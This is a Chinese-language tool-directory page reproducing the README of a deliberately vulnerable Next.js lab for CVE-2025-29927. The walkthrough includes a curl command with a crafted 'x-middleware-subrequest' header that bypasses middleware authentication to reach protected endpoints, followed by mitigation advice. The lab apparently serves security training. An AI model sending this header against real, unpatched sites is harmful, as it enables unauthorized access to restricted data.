Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-29927-lab — 刻意存在漏洞的 Next.js 应用程序,演示 CVE-2025-29927(基于中间件的认证绕过),用于学习和漏洞赏金实践。 | Kitploit
工具/GitHubGitHub/metasploit403/cve-2025-29927-lab
身份验证与授权漏洞分析Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubmetasploit403/cve-2025-29927-lab

cve-2025-29927-lab

刻意存在漏洞的 Next.js 应用程序,演示 CVE-2025-29927(基于中间件的认证绕过),用于学习和漏洞赏金实践。

查看仓库
116个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

此仓库包含一个使用 Next.js 构建的 故意存在漏洞 的 Web 应用程序。它旨在演示和研究名为 CVE-2025-29927 的安全问题。 该项目的目标是帮助安全研究人员、学生和漏洞赏金猎人了解该漏洞如何在类似真实环境的环境中运作。

[!CAUTION ] 该应用程序是故意不安全的,绝不应部署到生产环境。

🔩目的

  • 了解该漏洞的工作原理
  • 练习安全地识别和利用它
  • 理解不安全中间件处理的影响
  • 提升漏洞赏金和 Web 安全技能

🐞漏洞

CVE-2025-29927 与基于 Next.js 构建的应用程序中请求逻辑处理不当有关,尤其是在中间件中。这可能允许攻击者:

  1. 绕过身份验证或授权检查
  2. 使用精心构造的请求头或输入操纵请求流程
  3. 访问受限资源

📁项目结构

  • app/ → 应用程序路由
  • middleware.ts → 包含易受攻击的逻辑
  • api/ → 后端端点(包括受保护的路由)

⚙️安装与设置

git clone https://github.com/metasploit403/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install
npm run dev

🪲易受攻击的端点

某些路由是故意存在漏洞的,可能包括

- /api/admin/secret
- /api/internal/health
- /api/private/data

这些端点模拟受限资源,未经适当授权不应被访问。

🔥漏洞利用

1.假设你已经成功克隆了仓库
2.启动 npm run dev
3.这会在本地运行你的项目
4.打开你选择的浏览器,例如 chrome,并输入 http://localhost:3000
5.尝试访问 3 个 API 端点 中的任意一个

- /api/admin/secret
- /api/internal/health
- /api/private/data

6.现在用任意端点尝试一下

- http://localhost:3000/api/admin/secret
- http://localhost:3000/api/internal/health
- http://localhost:3000/api/private/data

7.观察你的请求被阻止了,这是因为你的请求中没有包含 cookie。这意味着该端点受到 中间件 的保护。中间件会检查你的请求是否有 cookie,如果没有,它会被自动阻止

8.现在让我们添加 cookie to our request。为此,请打开 chrome 开发者工具(我这里使用的是 chrome 浏览器,你可以使用任何你喜欢的浏览器)

9.按 F12,chrome 开发者工具将会打开

10.转到 控制台 选项卡

11.在控制台选项卡中输入 document.cookie="lab-auth=authenticated"

12.现在 刷新 页面,观察到你已 login

请记住,中间件会检查请求是否包含 cookie。如果请求有 cookie,你就能成功登录;如果没有,你就会被阻止。 问题是,我们如何绕过中间件检查并在不提供 cookie 的情况下登录。这正是 CVE-2025-29927 允许我们做的事情

现在让我们利用 CVE-2025-29927 绕过中间件身份验证检查。这里的技巧就是添加这个特定的请求头
x-middleware-subrequest: middleware。 这个请求头本应仅供框架内部使用。如果我们添加它,middleware 将停止检查我们的请求是否有 cookie,现在你应用程序中任何敏感端点都毫无防御能力

要利用这一点,让我们使用 cURL。
curl 是一个命令行工具,用于向服务器发送请求并获取响应

1.不带 cookie,预期返回 401

curl.exe -i http://localhost:3000/api/admin/secret

观察到服务器响应了状态码 307 临时重定向。因为没有 cookie,我们被重定向到主页/根页面。这意味着除非我们提供 cookie,否则无法登录。

2.curl.exe -i http://localhost:3000/api/admin/secret -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

现在我们添加了 "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
观察到我们现在可以在没有 cookie 的情况下访问登录。这是完全的身份验证绕过

🔐缓解措施

要在真实应用中修复此类问题:

  • 永远不要盲目信任客户端控制的请求头
  • 在中间件中验证所有输入
  • 在服务端实施适当的身份验证检查
  • 避免依赖不安全的请求假设
  • 升级到已修补的 Next.js 版本
  • 如果某些情况下你无法升级,请在反向代理处剥离 x-middleware-subrequest 请求头

🫵这是为谁准备的?

  • 漏洞赏金猎人
  • 安全研究人员
  • 学习 Web 安全的学生
  • 想要理解安全中间件设计的开发者

⛔免责声明

本项目仅供教育目的。 请勿在你不拥有或没有明确测试许可的系统上使用这些技术。

🤝贡献

欢迎:

  • 改进该实验环境
  • 添加新的漏洞场景
  • 提交修复或更好的说明

⭐支持

如果你觉得这有用,请考虑为该仓库点星标。

🏷️标签

- Next.js 
- Bug Bounty 
- Web Security 
- CVE-2025-29927 
- Middleware Authentication 
- Bypass
下载工具